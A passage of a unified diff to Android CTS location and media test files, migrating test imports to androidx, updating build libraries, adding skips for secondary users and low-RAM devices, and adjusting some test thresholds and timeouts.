--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ b/tests/tests/location/src/android/location/cts/GnssTestCase.java
@@ -16,11 +16,10 @@
 package android.location.cts;
 
 import android.os.Build;
+import android.os.SystemProperties;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import com.android.compatibility.common.util.PropertyUtil;
-
 /**
  * Base Test Case class for all Gnss Tests.
  */
@@ -38,7 +37,7 @@
     // On devices using newer hardware, GNSS measurement support is required.
     protected boolean isMeasurementTestStrict() {
         // Enforce strict measurement test on devices with first API level at least P.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.P) {
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             return true;
         }
 
@@ -53,4 +52,4 @@
     public boolean isCtsVerifierTest() {
         return mCtsVerifierTest;
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index d58ebb6..0366158 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -38,9 +38,11 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.os.UserManager;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.UiThreadTest;
+import android.util.Log;
 
 import java.util.List;
 
@@ -52,6 +54,9 @@
  * android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to GPS provider
  */
 public class LocationManagerTest extends BaseMockLocationTest {
+
+    private static final String TAG = "LocationManagerTest";
+
     private static final long TEST_TIME_OUT = 5000;
 
     private static final String TEST_MOCK_PROVIDER_NAME = "test_provider";
@@ -1096,6 +1101,10 @@
      * Tests basic proximity alert when entering proximity
      */
     public void testEnterProximity() throws Exception {
+        if (!isSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         // need to mock the fused location provider for proximity tests
         mockFusedLocation();
 
@@ -1108,6 +1117,10 @@
      * Tests proximity alert when entering proximity, with no expiration
      */
     public void testEnterProximity_noexpire() throws Exception {
+        if (!isSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         // need to mock the fused location provider for proximity tests
         mockFusedLocation();
 
@@ -1120,6 +1133,10 @@
      * Tests basic proximity alert when exiting proximity
      */
     public void testExitProximity() throws Exception {
+        if (!isSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         // need to mock the fused location provider for proximity tests
         mockFusedLocation();
 
@@ -1139,6 +1156,10 @@
      * Tests basic proximity alert when initially within proximity
      */
     public void testInitiallyWithinProximity() throws Exception {
+        if (!isSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         // need to mock the fused location provider for proximity tests
         mockFusedLocation();
 
@@ -1525,4 +1546,9 @@
             }
         }
     }
+
+    private boolean isSystemUser() {
+        UserManager userManager = mContext.getSystemService(UserManager.class);
+        return userManager.isSystemUser();
+    }
 }
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 940146e..437eb21 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -24,6 +24,7 @@
 import android.location.GnssStatus;
 import android.location.LocationManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.util.Log;
 
 import java.util.Arrays;
@@ -68,6 +69,7 @@
     // android/hardware/libhardware/include/hardware/gps.h
     public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
         new HashSet<Integer>(Arrays.asList(
+            GnssNavigationMessage.TYPE_UNKNOWN,
             GnssNavigationMessage.TYPE_GPS_L1CA,
             GnssNavigationMessage.TYPE_GPS_L2CNAV,
             GnssNavigationMessage.TYPE_GPS_L5CNAV,
@@ -388,17 +390,17 @@
                 softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
                                 "= CONSTELLATION_BEIDOU",
                         timeInNs,
-                        "1 <= X <= 36",
+                        "1 <= X <= 63",
                         svidValue,
-                        svid >= 1 && svid <= 36);
+                        svid >= 1 && svid <= 63);
                 break;
             case GnssStatus.CONSTELLATION_GALILEO:
                 softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
                                 "= CONSTELLATION_GALILEO",
                         timeInNs,
-                        "1 <= X <= 37",
+                        "1 <= X <= 36",
                         String.valueOf(svid),
-                        svid >= 1 && svid <= 37);
+                        svid >= 1 && svid <= 36);
                 break;
             default:
                 // Explicit fail if did not receive valid constellation type.
@@ -815,10 +817,10 @@
     public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
         TestLocationManager testLocationManager,
         boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz  check only for year 2018+
+        // Enforcing CarrierFrequencyHz check only for year 2018+
         if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
             softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
-                hasCarrierFrequency);
+                    hasCarrierFrequency);
         }
 
         if (hasCarrierFrequency) {
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index 4a76b8e..3d22bb7 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/location2/AndroidManifest.xml b/tests/tests/location2/AndroidManifest.xml
index df06e28..ff9bc3c 100644
--- a/tests/tests/location2/AndroidManifest.xml
+++ b/tests/tests/location2/AndroidManifest.xml
@@ -27,7 +27,7 @@
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.location2.cts"
                      android:label="CTS tests of android.location">
         <meta-data android:name="listener"
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index d2348db..21e819b 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -45,10 +45,10 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
     ctsmediautil \
-    ctstestrunner \
+    ctstestrunner-axt hamcrest-library \
     ctstestserver \
     junit \
     ndkaudio \
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index eca5dd6..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -116,17 +116,12 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.media.cts"
                      android:label="CTS tests of android.media">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 
-    <instrumentation android:name="android.test.InstrumentationTestRunner"
-                     android:targetPackage="android.media.cts"
-                     android:label="MediaPlayer Streaming tests InstrumentationRunner">
-    </instrumentation>
-
 </manifest>
 
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 1a5377a..6e5e4d3 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -35,6 +35,7 @@
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
         <option name="runtime-hint" value="4h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
         <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp b/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
index c098f5f..bf7aacc 100644
--- a/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
+++ b/tests/tests/media/libimagereaderjni/AImageReaderCts.cpp
@@ -348,7 +348,7 @@
             // Verity that outFenceFd's value will be changed by
             // AImageReader_acquireNextImageAsync.
             ret = AImageReader_acquireNextImageAsync(reader, &outImage, &outFenceFd);
-            if (ret != AMEDIA_OK || outImage == nullptr || outFenceFd != kDummyFenceFd) {
+            if (ret != AMEDIA_OK || outImage == nullptr || outFenceFd == 0) {
                 ALOGE("Failed to acquire image, ret=%d, outIamge=%p, outFenceFd=%d.", ret, outImage,
                       outFenceFd);
                 return;
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6b9da8a..6ead39e 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -16,6 +16,15 @@
 
 package android.media.cts;
 
+import static android.app.AppOpsManager.OP_RECORD_AUDIO;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
 import android.app.AppOpsManager;
 import android.app.AppOpsManager.OnOpActiveChangedListener;
 import android.content.Context;
@@ -24,21 +33,16 @@
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.Mockito;
 
 import java.util.concurrent.TimeUnit;
 
-import static android.app.AppOpsManager.OP_RECORD_AUDIO;
-import static com.google.common.truth.Truth.assertThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.timeout;
-import static org.mockito.Mockito.verify;
-
 /**
  * Tests for media framework behaviors related to app ops.
  */
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 45b166b..089f914 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -16,6 +16,13 @@
 
 package android.media.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -32,21 +39,16 @@
 import android.os.Message;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.testng.Assert.assertThrows;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.SystemUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 2baf410..58a1596 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -27,9 +27,10 @@
 import android.media.AudioTrack;
 import android.media.PlaybackParams;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.LargeTest;
 import android.util.Log;
 
+import androidx.test.filters.LargeTest;
+
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -1483,7 +1484,7 @@
         final double TEST_SWEEP = 100;
         final int TEST_LOOPS = 1;
         final double TEST_FREQUENCY = 400;
-        final long WAIT_TIME_MS = 50; // compensate for cold start when run in isolation.
+        final long WAIT_TIME_MS = 150; // compensate for cold start when run in isolation.
         final double TEST_LOOP_DURATION = 0.25;
 
         playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 72eddf1..7e53170 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -15,15 +15,10 @@
  */
 package android.media.cts;
 
-import android.media.cts.R;
-
 import static org.junit.Assert.assertNotNull;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import android.annotation.TargetApi;
 import android.annotation.SuppressLint;
+import android.annotation.TargetApi;
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
@@ -38,12 +33,11 @@
 import android.graphics.SurfaceTexture;
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.CodecException;
 import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaCodecList;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.net.Uri;
+import android.media.cts.R;
 import android.opengl.EGL14;
 import android.opengl.GLES11Ext;
 import android.opengl.GLES20;
@@ -53,10 +47,8 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
 import android.util.Log;
 import android.util.Pair;
-import android.util.SparseArray;
 import android.view.PixelCopy;
 import android.view.PixelCopy.OnPixelCopyFinishedListener;
 import android.view.Surface;
@@ -67,13 +59,22 @@
 import android.view.ViewGroup;
 import android.widget.RelativeLayout;
 
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
 import java.io.File;
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.nio.FloatBuffer;
-import java.util.concurrent.TimeUnit;
 import java.util.HashMap;
+import java.util.concurrent.TimeUnit;
 
 import javax.microedition.khronos.egl.EGL10;
 import javax.microedition.khronos.egl.EGLConfig;
@@ -81,10 +82,6 @@
 import javax.microedition.khronos.egl.EGLDisplay;
 import javax.microedition.khronos.egl.EGLSurface;
 
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-
 @TargetApi(16)
 public class DecodeAccuracyTestBase {
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java b/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
index f1f16a8..58293f9 100644
--- a/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderConformanceTest.java
@@ -138,6 +138,7 @@
         mExtractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(), testFd.getLength());
         mExtractor.selectTrack(0);
 
+        mDecoder = MediaCodec.createByCodecName(decoderName);
         MediaCodecInfo codecInfo = mDecoder.getCodecInfo();
         MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
         if (!caps.isFormatSupported(mExtractor.getTrackFormat(0))) {
@@ -153,7 +154,6 @@
         }
 
         try {
-            mDecoder = MediaCodec.createByCodecName(decoderName);
             if (MediaUtils.verifyDecoder(mDecoder, mExtractor, frameMD5Sums)) {
                 return Status.PASS;
             }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 2193d33..6192c0f 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -2442,7 +2442,19 @@
         // start decode loop
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
 
-        final long kTimeOutUs = 5000; // 5ms timeout
+        MediaFormat outFormat = codec.getOutputFormat();
+        long kTimeOutUs = 5000; // 5ms timeout
+        String outMime = format.getString(MediaFormat.KEY_MIME);
+        if ((surface == null) && (outMime != null) && outMime.startsWith("video/")) {
+            int outWidth = outFormat.getInteger(MediaFormat.KEY_WIDTH);
+            int outHeight = outFormat.getInteger(MediaFormat.KEY_HEIGHT);
+            // in the 4K decoding case in byte buffer mode, set kTimeOutUs to 10ms as decode may
+            // involve a memcpy
+            if (outWidth * outHeight >= 8000000) {
+                kTimeOutUs = 10000;
+            }
+        }
+
         boolean sawInputEOS = false;
         boolean sawOutputEOS = false;
         int deadDecoderCounter = 0;
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index e4911ed..4ba1adc 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -16,25 +16,21 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
+import static org.junit.Assert.*;
 
 import android.app.Instrumentation;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.media.cts.DecoderTest.AudioParameter;
 import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.support.test.InstrumentationRegistry;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.R;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.InstrumentationRegistry;
 
-import static org.junit.Assert.*;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 
 import java.io.IOException;
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 2c549f2..a4b8e4e 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -16,27 +16,24 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
+import static org.junit.Assert.*;
 
 import android.app.Instrumentation;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.media.cts.DecoderTest.AudioParameter;
-import android.media.cts.DecoderTestAacDrc.DrcParams;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
-import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.support.test.InstrumentationRegistry;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.DecoderTestAacDrc.DrcParams;
+import android.media.cts.R;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.InstrumentationRegistry;
 
-import static org.junit.Assert.*;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 
 import java.io.IOException;
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 8508ef2..3ea78d1 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -23,12 +23,14 @@
 import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+
 import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 9a3392a..90c6572 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -17,34 +17,34 @@
 package android.media.cts;
 
 import android.app.Presentation;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
 import android.content.Context;
 import android.graphics.drawable.ColorDrawable;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
 import android.opengl.GLES20;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.Display;
 import android.view.Surface;
-import android.view.WindowManager;
 import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
 import android.widget.ImageView;
 
+import androidx.test.filters.SmallTest;
+
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
 
-
 /**
  * Tests connecting a virtual display to the input of a MediaCodec encoder.
  * <p>
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
index 6301258..9e6c599 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
@@ -23,17 +23,15 @@
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.graphics.SurfaceTexture;
-import android.graphics.Typeface;
 import android.graphics.drawable.ColorDrawable;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaCodecList;
 import android.media.MediaFormat;
+import android.media.cts.R;
 import android.opengl.GLES11Ext;
 import android.opengl.GLES20;
 import android.opengl.Matrix;
@@ -43,15 +41,12 @@
 import android.os.Looper;
 import android.os.Message;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
-import android.util.AttributeSet;
 import android.util.Log;
 import android.util.Size;
 import android.view.Display;
 import android.view.Surface;
-import android.view.TextureView;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
@@ -60,9 +55,8 @@
 import android.widget.ImageView;
 import android.widget.TableLayout;
 import android.widget.TableRow;
-import android.widget.TextView;
 
-import android.media.cts.R;
+import androidx.test.filters.SmallTest;
 
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
@@ -70,7 +64,6 @@
 import java.nio.IntBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.HashMap;
 import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index a8bd98a..7c405a5 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -27,7 +27,7 @@
 public class EqualizerTest extends PostProcTestBase {
 
     private String TAG = "EqualizerTest";
-    private final static int MIN_NUMBER_OF_BANDS = 4;
+    private final static int MIN_NUMBER_OF_BANDS = 2;
     private final static int MAX_LEVEL_RANGE_LOW = 0;             // 0dB
     private final static int MIN_LEVEL_RANGE_HIGH = 0;            // 0dB
     private final static int TEST_FREQUENCY_MILLIHERTZ = 1000000; // 1kHz
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 1104f9b..30c972e 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -16,6 +16,13 @@
 
 package android.media.cts;
 
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.Color;
@@ -30,29 +37,15 @@
 import android.os.HandlerThread;
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
-
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 import androidx.heifwriter.HeifWriter;
 
 import com.android.compatibility.common.util.MediaUtils;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import java.io.Closeable;
 import java.io.File;
 import java.io.FileInputStream;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
index 4c10cf9..9ced5b1 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -39,18 +39,19 @@
 import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
 import android.media.MediaMetadata2;
 import android.media.MediaSession2;
-import android.media.SessionCommand2;
 import android.media.MediaSession2.CommandButton;
-import android.media.SessionCommandGroup2;
 import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
 import android.media.SessionToken2;
 import android.os.Bundle;
 import android.os.Process;
 import android.os.ResultReceiver;
+
 import androidx.annotation.CallSuper;
 import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.Assert;
 
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index 97cdcdd..f28613a 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,6 +16,9 @@
 
 package android.media.cts;
 
+import android.content.Context;
+import android.app.ActivityManager;
+import android.content.pm.PackageManager;
 import android.media.MediaCas;
 import android.media.MediaCas.PluginDescriptor;
 import android.media.MediaCas.Session;
@@ -26,12 +29,12 @@
 import android.media.MediaDescrambler;
 import android.os.Handler;
 import android.os.HandlerThread;
-import android.os.Looper;
 import android.platform.test.annotations.RequiresDevice;
-import android.support.test.filters.SmallTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+
 import java.lang.ArrayIndexOutOfBoundsException;
 import java.nio.ByteBuffer;
 import java.util.Arrays;
@@ -151,6 +154,10 @@
      * be instantiated.
      */
     public void testEnumeratePlugins() throws Exception {
+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testEnumetaePlugins.");
+           return;
+        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -193,6 +200,10 @@
     }
 
     public void testInvalidSystemIdFails() throws Exception {
+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testInvalidSystemIdFails.");
+           return;
+        }
         assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
                 MediaCas.isSystemIdSupported(sInvalidSystemId));
 
@@ -224,6 +235,10 @@
     }
 
     public void testClearKeyPluginInstalled() throws Exception {
+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
+           return;
+        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -237,6 +252,10 @@
      * Test that valid call sequences succeed.
      */
     public void testClearKeyApis() throws Exception {
+        if (isLowRam() && !isTV()){
+           Log.d(TAG, "Skipping testClearKeyApis.");
+           return;
+        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -316,6 +335,10 @@
      * Test that all sessions are closed after a MediaCas object is released.
      */
     public void testClearKeySessionClosedAfterRelease() throws Exception {
